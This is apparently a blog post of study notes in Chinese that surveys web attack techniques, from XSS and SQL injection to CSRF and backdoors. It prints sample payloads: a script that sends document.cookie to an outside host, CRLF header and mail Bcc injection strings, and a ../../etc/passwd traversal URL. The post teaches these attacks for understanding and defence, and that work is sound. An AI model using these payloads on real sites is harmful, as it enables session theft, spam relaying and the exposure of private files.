图解HTTP – Web的攻击技术

1. 针对Web的攻击技术

简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。

应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。

目前,来自互联网的攻击大多是冲着Web站点来的,它们大多把Web应用作为攻击目标。

1.1 HTTP不具备必要的安全功能

与最初的设计相比,现今的Web网站应用的HTTP协议的使用方式已发生了翻天覆地的变化。

几乎现今所有的Web网站都会使用会话(Session)管理、加密处理等安全性方面的功能,而HTTP协议内并不具备这些功能。

从整体上看,HTTP就是一个通用的单纯协议机制。

因此它具备较多优势,但是在安全性方面则呈劣势。

就拿远程登录时会用到的SSH协议来说,SSH具备协议级别的认证及会话管理等功能,HTTP协议则没有。

另外在架设SSH服务方面,任何人都可以轻易地创建安全等级高的服务,而HTTP即使已架设好服务器,但若想提供服务器基础上的Web应用,很多情况下都需要重新开发。

因此,开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。

而自行设计就意味着会出现各种形形色色的实现。

结果,安全等级并不完备,可仍在运作的Web应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的Bug。

1.2 在客户端即可篡改请求9i

在Web应用中,从浏览器那接受到的HTTP请求的全部内容,都可以在客户端自由地变更、篡改。

所以Web应用可能会接收到与预期数据不相同的内容。

在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。

通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。

1.3 针对Web应用的攻击模式

对Web应用的攻击模式有以下两种。

  • 主动攻击
  • 被动攻击
以服务器为目标的主动攻击

主动攻击(active attack)是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。

由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到指定资源。

主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击

以服务器为目标的被动攻击

被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。

在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击。

被动攻击通常的攻击模式如下所示:

步骤1:

攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。

步骤2:

当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。

步骤3:

中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。

步骤4:

执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。

被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

利用用户的身份攻击企业内部网络

利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。

只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击。

很多企业内网依然开源连接到互联网上,访问Web网站,或接收互联网发来的邮件。

这样就可能给攻击者以可乘之机,诱导用户触发陷阱后对企业内网发动攻击。

2. 因输出值转义不完全引发的安全漏洞

实施Web应用的安全对策可大致分为以下两部分。

  • 客户端的验证
  • Web应用端的验证
    • 输入值验证
    • 输出值转义

多数情况下采用JavaScript在客户端验证数据。

可是在客户端允许篡改数据或关闭JavaScript,不适合将JavaScript验证作为安全的防范对策。

保留客户端验证只是为了尽早地辨识输入错误,起到提高UI体验的作用。

Web应用端的输入值验证按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。

输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际,针对输出做转义处理是一项至关重要的安全策略。

当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。

2.1 跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。

动态创建的HTML部分有可能隐藏着安全漏洞。

就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。

跨站脚本攻击有可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息
  • 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
  • 显示伪造的文章或图片
跨站脚本攻击案例

在动态生成HTML处发生

下面以编辑个人信息页面为例讲解跨站脚本攻击。

下方界面显示了用户输入的个人信息内容。

确认界面按原样显示在编辑界面输入的字符串。

此处输入带有ICHI这样的HTML标签的字符串。

此时的确认界面上,浏览器会把用户输入的<s>解析成HTML标签,然后显示删除线。

删除线显示出来并不会造成太大的不利后果,但如果换成使用script标签将会如何呢。

XSS是攻击者利用预先设置的陷阱触发的被动攻击

跨站脚本攻击属于被动攻击模式,因此攻击者会事先布置好用于攻击的陷阱。

下图网站通过地址栏中URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。

而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。

充分熟知此处漏洞特点的攻击者,于是就创建了嵌入恶意代码的URL。

并隐藏植入事先准备好的欺诈邮件中或Web页面内,诱使用户去点击该URL。

浏览器打开该URI后,直观感觉没有发生任何变化,但设置好的脚本偷偷开始运行了。

当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站,导致个人登录信息被窃取。

之后,ID及密码会传给该正规网站,而接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄密。

对用户Cookie的窃取攻击

除了在表单中设下圈套之外,下面那张恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cooike信息。

HTML
<script src=http://ichistudio.cn/xss.js></script>

该脚本内指定的http://ichistudio.cn/xss.js文件。

即下面这段采用JavaScript编写的代码。

JavaScript
var content = escape(document.cookie);
document.write("<img src=http://ichistudio.cn/?>");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用所处域名下的Cooike信息。

然后这些信息会发送至攻击者的Web网站,记录在他的登录日志中。

结果,攻击者就这样窃取到用户的Cookie信息了。

2.2 SQL注入攻击
会执行非法SQL的SQL注入攻击

SQL注入(SQL Injection)是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。

该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。

Web应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用SQL语句连接数据库进行特定的操作。

如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法SQL语句。

SQL注入攻击有可能会造成以下等影响:

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等
2.3 OS命令注入攻击

OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的。

只要在能调用Shell函数的地方就有存在被攻击的风险。

可以从Web应用中通过Shell来调用操作系统命令。

倘若调用Shell时存在疏漏,就可以执行插入的非法OS命令。

OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。

也就是说,通过OS注入攻击可执行OS上安装着的各种程序。

2.4 HTTP首部注入攻击

HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。

属于被动攻击模式。

向首部主体内添加内容的攻击称为HTTP响应截断攻击(HTTP Response Splitting Attack)。

如下所示,Web应用有时会把从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。

HTTP
Location:http://ichistudio.com/asd?q=231
Set-Cookie:UID=231

*231就是插入值

HTTP首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。

HTTP首部注入攻击有可能会造成以下一些影响。

  • 设置任何Cookie信息
  • 重定向至任意URL
  • 显示任意的主体(HTTP响应截断攻击)
HTTP首部注入攻击案例

下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解HTTP首部注入攻击。

该功能为每个类别都设定了一个类别ID值,一旦选定某类别,就会将该ID值反映在响应内的Location首部字段内,形如Location:http://example.com/?cat=101。

令浏览器发生重定向跳转。

攻击者以下面的内容替代之前的类别ID后发送请求。

HTTP
101%0D%0ASet-Cookie :+SID = 123456789

其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站的会话ID设置成SID=12345679的Set-Cookie首部字段。

发送该请求之后,假设结果返回以下响应。

HTTP
Location:http://example.com/?cat=101(%0D%0A)换行符
Set-Cookie:SID=123456789

此刻,首部字段Set-Cookie已生效,因此攻击者可指定修改任意Cookie信息。

通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,攻击者可伪装成用户。

攻击者输入的%0D%0A,原本应该属于首部字段Location的查询值部分,但经过解析后,%0D%0A变成了换行符,结果插入了新的首部字段。

这样一来,攻击者可在响应插入任意的首部字段。

HTTP响应截断攻击

HTTP响应截断攻击是用在HTTP首部注入的一种攻击。

攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。

利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。

这样的攻击叫做HTTP响应截断攻击。

HTTP
%0D%0A%0D%0A<HTML><HEAD><TLTLE>之后,想要显示的网页内容<!-

在可能进行HTTP首部注入的环节,通过发送上面的字符串,返回结果得到以下的这种响应。

HTTP
Set-Cookie:UID=(%0D%0A:换行符)
(%0D%0A:换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容=>
<! --(原来页面对应的首部字段和主体部分全视为注释)

利用这个攻击,已触发陷阱的用户浏览器会显示伪造的Web页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。

另外,滥用HTTP/1.1中汇聚多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。

这种攻击称为缓存污染。

使用该缓存服务器的用户,在浏览器遭受攻击的网站时,会不断地浏览被替换掉的Web网页。

2.5 邮件首部注入攻击

邮件首部注入(Mail Header Injection)是指Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。

利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。

邮件首部注入攻击案例

攻击者将以下数据作为邮件地址发起请求:

HTTP
bob@ichi.cn%0d%0ABcc:user@example.com

一旦咨询表单所在的Web应用接收了这个换行符,就可能实现对Bcc邮件地址的追加发送,而这原本是无法指定的。

另外像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送。

HTTP
bob@ichi.cn%0D%0A%0D%0ATest Message

再以相同的方式,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作。

2.6 目录遍历攻击

目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。

这种攻击有时也称为路径遍历攻击。

通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用../等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。

这样一来,就有可能非法浏览、篡改或删除Web服务器上的文件。

固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。

目录遍历攻击案例

下面以显示读取文件功能为例,讲解目录遍历攻击。

该功能通过以下查询字段,指定某个文件名。

然后从/www/log/文件目录下读取这个指定的文件。

HTTP
http://example.com/read.php?log=0401.log

攻击者设置如下查询字段后发出请求。

HTTP
http://example.com/read.php?log=../../etc/passwd

查询字段为了读取攻击者盯上的/etc/passwd文件,会从/www/log/目录开始定位相对路径。

如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。

查询字段为了读取攻击者盯上的/ect/passwd文件,会从/www/log/目录开始定位相对路径。

如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。

2.7 远程文件包含漏洞

远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件。

让脚本读取之后,就可运行任意脚本的一种攻击。

3. 因设置或设计上的缺陷引发的安全漏洞

因设置或设计上的缺陷引发的安全漏洞是指,错误设置Web服务器,或是由设计上的一些问题引起的安全漏洞。

3.1 强制浏览

强制浏览(Forced Browsing)安全漏洞是指,从安置在Web服务器的公开目录下的文件下,浏览那些原本非自愿公开的文件。

强制浏览有可能会造成以下一些影响:

  • 泄露顾客的个人信息等重要情报
  • 泄露原本需要具有访问权限的用户才可查阅的信息内容
  • 泄露未外连到外界的文件

对那些原本不愿公开的文件,为了保证安全会隐蔽其URL。

可一旦知道了那些URL,也就意味着可浏览URL对应的文件。

直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使URL产生泄露。

3.2 不正确的错误消息处理

不正确的错误消息(Error Handing Vulnerability)的安全漏洞是指,Web应用的错误信息内包含对攻击者有用的信息。

与Web应用有关的主要错误信息如下所示:

  • Web应用抛出的错误消息
  • 数据库等系统抛出的错误消息

Web应用不必在用户的浏览画面上展现详细的错误消息。

对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。

各系统应对详细的错误消息进行抑制设定,或使用自定义错误消息,以避免某些错误信息给攻击者以启发。

3.3 开放重定向

开放重定向(Open Redirect)是一种对指定的任意URL作重定向跳转的功能。

而与此功能相关联的安全漏洞是指,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个Web网站。

4. 因会话管理疏忽引发的安全漏洞

会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果。

4.1 会话劫持

会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。

具备认证功能的Web应用,使用会话ID的会话管理机制,作为管理认证状态的主流方式。

会话ID中记录客户端的Cookie等信息,服务器端将会将会话ID与认证状态进行一对一匹配管理。

下面列举了几种攻击者可获得会话ID的途径:

  • 通过非正规的生成方法推测会话ID
  • 通过窃听或XSS攻击盗取会话ID
  • 通过会话固定攻击(Session Fixation)强行获取会话ID
4.2 会话固定攻击

对以窃取目标会话ID为主动攻击手段的会话劫持而言,会话固定攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。

4.3 跨站点请求伪造

跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

跨站点请求伪造有可能会造成以下影响:

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论
5. 其他安全漏洞
5.1 密码破解

密码破解攻击即算出密码,突破认证。

攻击不仅限于Web应用,还包括其他的系统。

密码破解有以下两种手段:

  • 通过网络的密码试错
  • 对已加密密码的破解
通过网络进行密码试错

对Web应用提供的认证功能,通过网络尝试候选密码进行的一种攻击。

主要有以下两种方式:

  • 穷举法
  • 字典攻击
5.2 点击劫持

点击劫持是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上。

然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。

这种行为又称为界面伪装。

已设置陷阱的Web页面,表面上内容并无不妥,但早已埋入想让用户点击的链接。

当用户点击到透明的按钮时,实际上是点击了已指定透明属性元素的iframe页面。

5.3 DOS攻击

Dos攻击是一种让运行中的服务呈停止状态的攻击。

有时也叫做服务停止攻击或拒绝服务攻击。

Dos攻击的对象不仅限于Web网站,还包括网络设备及服务器等。

主要有以下两种Dos攻击方式。

  • 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也呈停止状态
  • 通过攻击安全漏洞使服务停止

其中,集中利用访问请求的Dos攻击,单纯来讲就是发送大量的合法请求。

服务器很难分辨何为正常请求,何为攻击请求,因此很难防止Dos攻击。

多台计算机发起的Dos攻击称为DDos攻击。

DDos攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

5.4 后门程序

后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。

利用后面程序就能使用原本受限制的功能。

通常的后门程序分为以下3种类型。

  • 开发阶段作为Debug调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

可通过监视进程和通信的状态发现被植入的后门程序。

但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。

订阅评论
提醒
0 评论
最旧
最新 最多投票
内联反馈
查看所有评论
滚动至顶部